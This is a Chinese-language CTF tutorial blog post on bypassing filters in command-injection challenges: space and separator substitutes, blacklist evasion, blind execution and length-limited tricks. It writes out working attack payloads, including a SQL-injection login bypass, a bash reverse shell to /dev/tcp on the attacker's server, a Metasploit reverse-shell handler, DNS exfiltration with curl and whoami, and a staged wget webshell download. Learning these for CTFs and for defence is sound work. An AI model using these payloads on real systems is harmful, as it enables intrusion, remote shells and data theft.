淺談CTF中命令執行與繞過的小技巧

空格繞過

< 符號

淺談CTF中命令執行與繞過的小技巧

%09 符號需要php環境,這裏就不搭建啦,見諒)

$IFS$9 符號${IFS} 符號

淺談CTF中命令執行與繞過的小技巧

這裏解釋一下${IFS},$IFS,$IFS$9的區別,首先$IFS在linux下表示分隔符,然而我本地實驗卻會發生這種情況,這裏解釋一下,單純的cat$IFS2,bash解釋器會把整個IFS2當做變量名,所以導致輸不出來結果,然而如果加一個{}就固定了變量名,同理在後面加個$可以起到截斷的作用,但是爲什麼要用$9呢,因爲$9只是當前系統shell進程的第九個參數的持有者,它始終爲空字符串。

命令分隔符這裏介紹5種姿勢

%0a符號
換行符
%0d符號
回車符
;符號
在 shell 中,擔任”連續指令”功能的符號就是”分號”
&符號

淺談CTF中命令執行與繞過的小技巧

& 放在啓動參數後面表示設置此進程爲後臺進程,默認情況下,進程是前臺進程,這時就把Shell給佔據了,我們無法進行其他操作,對於那些沒有交互的進程,很多時候,我們希望將其在後臺啓動,可以在啓動參數的時候加一個’&’實現這個目的。進程切換到後臺的時候,我們把它稱爲job。切換到後臺時會輸出相關job信息,這裏36210就是該進程的PID
|符號

淺談CTF中命令執行與繞過的小技巧

管道符左邊命令的輸出就會作爲管道符右邊命令的輸入,所以左邊的輸出並不顯示

命令終止符

%00
%20#

(需要php環境,這裏就不搭建啦,見諒)

黑名單繞過

a=l;b=s;$a$b

淺談CTF中命令執行與繞過的小技巧

base64編碼

代碼6

無回顯的命令執行

這裏先給一個bugku平臺的靶機地址:http://47.93.190.246:49165/

這裏第一步先用

username=0' union select 1,md5(1)#
password=1

繞過,就可以到命令執行界面然而嘗試一下發現沒有回顯這裏有3種方法

第一種是利用bash命令並在本地進行nc監聽結果查看回連日誌,然後就行

先在vps處用nc進行監聽

nc -l -p 8080 -vvv

然後在靶機命令執行處輸入

|bash -i >& /dev/tcp/xxxxxI(你的vps的公網ip)/8080 0>&1

淺談CTF中命令執行與繞過的小技巧淺談CTF中命令執行與繞過的小技巧

第二種是msf反向回連

同樣vps用msf監聽

vps的msf監聽:

use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j

然後在靶機命令執行處輸入

|bash -i >& /dev/tcp/xxxxxI(你的vps的公網ip)/8080 0>&1

即可getflag

第三種是利用DNS管道解析

這裏提供一個在線網址,可以直接進行給一個利用網址:admin.dnslog.link註冊一個賬號後會分配一個子域名可以利用

|curl `whoami`.xxxx.xxx(子域名)

這樣就會在利用網址看到反彈結果。(這裏也不演示了,賬號忘記了。。。)這裏解釋一下\whoami\因爲`反引號在linux下是執行命令的特殊符號,原理請見:http://mp.weixin.qq.com/s/jwqWnP0FHhMoR5b6iCS6NQ

七個字的命令執行

這題是p總在小密圈發表的一篇文章,當時沒有做出來,這題是利用重命名文件繞過的,所以可以這樣進行調用,因爲限制了命令的長度,所以無法直接構造,只能通過文件構造

這裏先介紹一下小技巧,linux下創建文件的命令可以用1>1創建文件名爲1的空文件

淺談CTF中命令執行與繞過的小技巧

進一步fuzz發現a>1居然也可以,雖然會報錯,但是還是可以創建空文件。

淺談CTF中命令執行與繞過的小技巧

ls>1可以直接把把ls的內容導入一個文件中,但是會默認追加\n。有了這個基礎,我們再來看這道題

<?php
if(strlen($_GET[1])<8){
     echo shell_exec($_GET[1]);
}
?>

簡單的代碼,可以利用

1>wget\
1>域名.\
1>com\
1>-O\
1>she\
1>ll.p\
1>p
ls>a
sh a

這裏注意.不能作爲文件名的開頭,因爲linux下.是隱藏文件的開頭,ls列不出來

然而這裏還有個問題,就是ls下的文件名是按照字母順序排序的,所以需要基於時間排序

ls -t>a

網絡地址轉化爲數字地址

網絡地址有另外一種表示形式,就是數字地址比如127.0.0.1可以轉化爲2130706433

可以直接訪問

http://2130706433

或者

http://0x7F000001

這樣就可以繞過.的ip過濾,這裏給個轉化網址:http://www.msxindl.com/tools/ip/ip_num.asp

GCTF RCE

這題過濾了很多東西,下面說一下比較重要的

||&|;|%{}| |''|.|

這裏給個payload

%0acat%09
%0Acat$IFS$9
%0acat<

用%0a繞過curl然後在從我前面繞過空格的payload中隨便挑一個沒有過濾的

最後總結一下,做命令執行的題首要的是尋找命令執行的點,然後去猜測他的後臺語句是如何構造的,過濾了哪些,還剩哪些可以用,這樣一個一個排除,最後大都能找出payload最後文末順便附上本菜雞的博客:http://pupiles.com

*本文原創作者:pupiles

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章